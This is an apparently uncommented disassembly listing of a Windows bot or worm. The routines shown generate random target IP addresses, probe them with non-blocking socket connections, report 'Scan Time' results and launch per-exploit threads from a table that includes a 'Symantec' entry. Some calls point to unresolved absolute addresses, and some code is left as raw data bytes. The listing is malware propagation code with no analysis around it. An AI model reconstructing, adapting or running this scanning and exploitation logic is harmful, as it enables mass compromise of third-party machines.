		call	sub_4151AD
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B71A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B786	proc near		; CODE XREF: sub_401ACD+2ACAp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB384
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE394
		push	offset unk_431EF4
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 28h
		leave
		retn
sub_40B786	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DB	proc near		; CODE XREF: sub_401ACD+2AB4p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431F40
		push	eax
		call	sub_41B886
		cmp	dword_431AF0, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B847
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B810:				; CODE XREF: sub_40B7DB+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431F30
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B810
		pop	esi


loc_40B847:				; CODE XREF: sub_40B7DB+2Dj
		push	dword_4CB384
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AD
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DB	endp

; ---------------------------------------------------------------------------
word_40B8A2	dw 8B55h		; DATA XREF: sub_401ACD+30E1o
		dd 0F0EC81ECh, 8B000003h, 56530845h, 8B4B6A57h,	0BD8D59F0h
		dd 0FFFFFECCh, 80C7A5F3h, 128h,	1, 0FECC858Dh, 0FF50FFFFh
		dd 4CB68415h, 89FF3300h, 3D39F845h, 431AF0h, 89FC7D89h
		dd 840F087Dh, 118h, 431AF0BBh
		db 0, 8Bh, 0C3h
; ---------------------------------------------------------------------------


loc_40B8F3:				; CODE XREF: ___:0040B9FEj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C088
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F4
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431F90
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A73
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AD
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98F
		lea	eax, [ebp-124h]


loc_40B98F:				; CODE XREF: ___:0040B987j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40B9F4:				; CODE XREF: ___:0040B906j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F3
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431F5C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A73
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-18h]
		call	sub_40B413
		add	esp, 2Ch
		push	edi
; ---------------------------------------------------------------------------
		db 0E8h, 0D3h, 50h
		db 2Fh,	2, 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA57	proc near		; CODE XREF: sub_401ACD+244Fp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_40BA93
		mov	eax, [ebp+arg_C]
		push	dword_4CB790[eax*8]
		call	dword_4CB6D0
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431FE0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA6
; ---------------------------------------------------------------------------


loc_40BA93:				; CODE XREF: sub_40BA57+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431FC0
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40BAA6:				; CODE XREF: sub_40BA57+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 18h
		leave
		retn
sub_40BA57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACE	proc near		; CODE XREF: sub_40C125+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BFA0
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431AFC[eax], ebx
		jz	loc_40BFA0
		push	5
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BD55
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD84C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDA5C, eax
		mov	dword_4CDA58, ebx
		nop
		call	near ptr 2690000h
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CD950
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD848, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDAE0, eax
		jnz	short loc_40BB81
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDA60
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDAE4, 1
		jmp	short loc_40BB9B
; ---------------------------------------------------------------------------


loc_40BB81:				; CODE XREF: sub_40BACE+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDA60
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDAE4, ebx


loc_40BB9B:				; CODE XREF: sub_40BACE+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDA5C
		push	offset unk_42C54C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	dword_4CDA54, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD848
		push	offset byte_411797
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, dword_4CDA54
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_40BC09


loc_40BBF7:				; CODE XREF: sub_40BACE+139j
		cmp	dword_4CDAE8, ebx
		jnz	short loc_40BC24
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_40BBF7
; ---------------------------------------------------------------------------


loc_40BC09:				; CODE XREF: sub_40BACE+127j
		nop
		call	near ptr 26A08B1h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432100
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BC24:				; CODE XREF: sub_40BACE+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		mov	eax, dword_4CB380
		mov	esi, offset dword_4CDAF4
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CDD04, eax
		mov	dword_4CDD00, ebx
		nop
		call	near ptr 2690000h
		push	103h
		push	edi
		push	offset dword_4CDBF8
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDAF0, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CDD88, eax
		push	7Fh
		jnz	short loc_40BCA5
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDD08
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDD8C, 1
		jmp	short loc_40BCBF
; ---------------------------------------------------------------------------


loc_40BCA5:				; CODE XREF: sub_40BACE+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDD08
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDD8C, ebx


loc_40BCBF:				; CODE XREF: sub_40BACE+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDD04
		push	offset unk_4320CC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	dword_4CDCFC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDAF0
		push	offset word_40E992
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, dword_4CDCFC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_40BD2D


loc_40BD1B:				; CODE XREF: sub_40BACE+25Dj
		cmp	dword_4CDD90, ebx
		jnz	short loc_40BD48
		push	32h
		call	near ptr 2690F63h
		nop
		jmp	short loc_40BD1B
; ---------------------------------------------------------------------------


loc_40BD2D:				; CODE XREF: sub_40BACE+24Bj
		nop
		call	near ptr 26A08B1h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432098
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BD48:				; CODE XREF: sub_40BACE+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BD55:				; CODE XREF: sub_40BACE+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_431B04[ecx], ebx
		jz	loc_40BE7E
		push	7
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BE78
		mov	eax, dword_4CE38C
		cmp	[ebp+arg_90], bl
		mov	dword_4CD7B4, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD7A8, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD7B0, ebx
		mov	dword_4CD838, eax
		push	7Fh
		jnz	short loc_40BDC9
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD7B8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD83C, 1
		jmp	short loc_40BDE3
; ---------------------------------------------------------------------------


loc_40BDC9:				; CODE XREF: sub_40BACE+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD7B8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD83C, ebx


loc_40BDE3:				; CODE XREF: sub_40BACE+2F9j
		push	dword_4CD7B4
		lea	eax, [ebp+var_204]
		push	offset unk_432068
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	dword_4CD7AC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD7A8
		push	offset dword_40E6F0
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, dword_4CD7AC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_40BE50


loc_40BE3E:				; CODE XREF: sub_40BACE+380j
		cmp	dword_4CD840, ebx
		jnz	short loc_40BE6B
		push	32h
		call	near ptr 2690F63h
		nop
		jmp	short loc_40BE3E
; ---------------------------------------------------------------------------


loc_40BE50:				; CODE XREF: sub_40BACE+36Ej
		call	near ptr 26A08B1h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432030
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BE6B:				; CODE XREF: sub_40BACE+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BE78:				; CODE XREF: sub_40BACE+2A8j
		mov	eax, [ebp+arg_130]


loc_40BE7E:				; CODE XREF: sub_40BACE+298j
		shl	eax, 6
		cmp	dword_431B00[eax], ebx
		jz	loc_40BFA0
		push	3
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BFA0
		mov	esi, offset dword_4CE024
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2690000h
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBF
		mov	[eax], bl


loc_40BEBF:				; CODE XREF: sub_40BACE+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE13C, ebx
		mov	dword_4CE128, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDD9C
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CDD98, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE128
		mov	dword_4CE134, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE138, ecx
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C4D4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	dword_4CE130, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDD98
		push	offset sub_40F0D6
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, dword_4CE130
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_40BF78


loc_40BF66:				; CODE XREF: sub_40BACE+4A8j
		cmp	dword_4CE144, ebx
		jnz	short loc_40BF93
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_40BF66
; ---------------------------------------------------------------------------


loc_40BF78:				; CODE XREF: sub_40BACE+496j
		call	near ptr 26A08B1h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431FFC
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BF93:				; CODE XREF: sub_40BACE+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BFA0:				; CODE XREF: sub_40BACE+14j
					; sub_40BACE+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA4	proc near		; CODE XREF: sub_40C125:loc_40C196p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB790h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB56C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB640
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEC	proc near		; CODE XREF: sub_40C125+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C014
		xor	eax, eax
		jmp	short loc_40C085
; ---------------------------------------------------------------------------


loc_40C014:				; CODE XREF: sub_40BFEC+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C041
		call	sub_41B8E2
		mov	[ebp+var_C], eax


loc_40C041:				; CODE XREF: sub_40BFEC+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04E
		call	sub_41B8E2
		mov	[ebp+var_8], eax


loc_40C04E:				; CODE XREF: sub_40BFEC+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05B
		call	sub_41B8E2
		mov	[ebp+var_4], eax


loc_40C05B:				; CODE XREF: sub_40BFEC+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C067
		call	sub_41B8E2


loc_40C067:				; CODE XREF: sub_40BFEC+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB790[ecx*8], eax


loc_40C085:				; CODE XREF: sub_40BFEC+26j
		pop	esi
		leave
		retn
sub_40BFEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C088	proc near		; CODE XREF: ___:0040B8FBp
					; sub_40C125+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CB6C4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B1
		xor	eax, eax
		jmp	short loc_40C120
; ---------------------------------------------------------------------------


loc_40C0B1:				; CODE XREF: sub_40C088+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB644
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB6E0
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5EC
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB62C
		push	esi
		mov	edi, eax
		call	dword_4CB6DC
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C120:				; CODE XREF: sub_40C088+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C088	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C125	proc near		; DATA XREF: sub_40C125+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 26B07C3h
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C16C:				; CODE XREF: sub_40C125+204j
		mov	eax, dword_43E584[ebx]
		cmp	dword_4CB794[eax*8], 0
		jz	loc_40C32E
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C196
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEC
		pop	ecx
		jmp	short loc_40C19B
; ---------------------------------------------------------------------------


loc_40C196:				; CODE XREF: sub_40C125+60j
		call	sub_40BFA4


loc_40C19B:				; CODE XREF: sub_40C125+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E584[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB6D0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_43215C
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E380[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C088
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31E
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C272
		push	offset dword_4CD790
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB6D0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_432134
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C254
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C248
		lea	eax, [ebp+var_140]


loc_40C248:				; CODE XREF: sub_40C125+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A73
		add	esp, 14h


loc_40C254:				; CODE XREF: sub_40C125+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AD
		mov	[esp+29Ch+var_29C], offset dword_4CD790
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C31E
; ---------------------------------------------------------------------------


loc_40C272:				; CODE XREF: sub_40C125+D0j
		push	edi
		call	dword_4CB6D0
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B7
		lea	eax, [ebp+var_140]


loc_40C2B7:				; CODE XREF: sub_40C125+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_431AF4[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C31E:				; CODE XREF: sub_40C125+C6j
					; sub_40C125+148j
		push	7D0h
		nop
		call	near ptr 2690F63h
		jmp	loc_40C16C
; ---------------------------------------------------------------------------


loc_40C32E:				; CODE XREF: sub_40C125+55j
		push	esi
		call	sub_40B413
		pop	ecx
		push	0
		call	near ptr 2700B29h
		nop


loc_40C33D:				; DATA XREF: sub_401ACD+1F82o
					; sub_401ACD+5C49o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CB684
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB790[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACE
		push	0Bh
		call	sub_40B33F
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40B
		mov	esi, offset dword_4CD790
		push	esi
		nop
		call	near ptr 2710216h
		push	80000400h
		push	esi
		call	near ptr 2710000h
		nop
		test	eax, eax
		jnz	short loc_40C40B
		lea	eax, [ebp+var_1CC]
		push	offset unk_432240
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F5
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A73
		add	esp, 14h


loc_40C3F5:				; CODE XREF: sub_40C125+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AD
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C40B:				; CODE XREF: sub_40C125+27Bj
					; sub_40C125+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB794[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D8


loc_40C429:				; CODE XREF: sub_40C125+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_43220C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F7
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
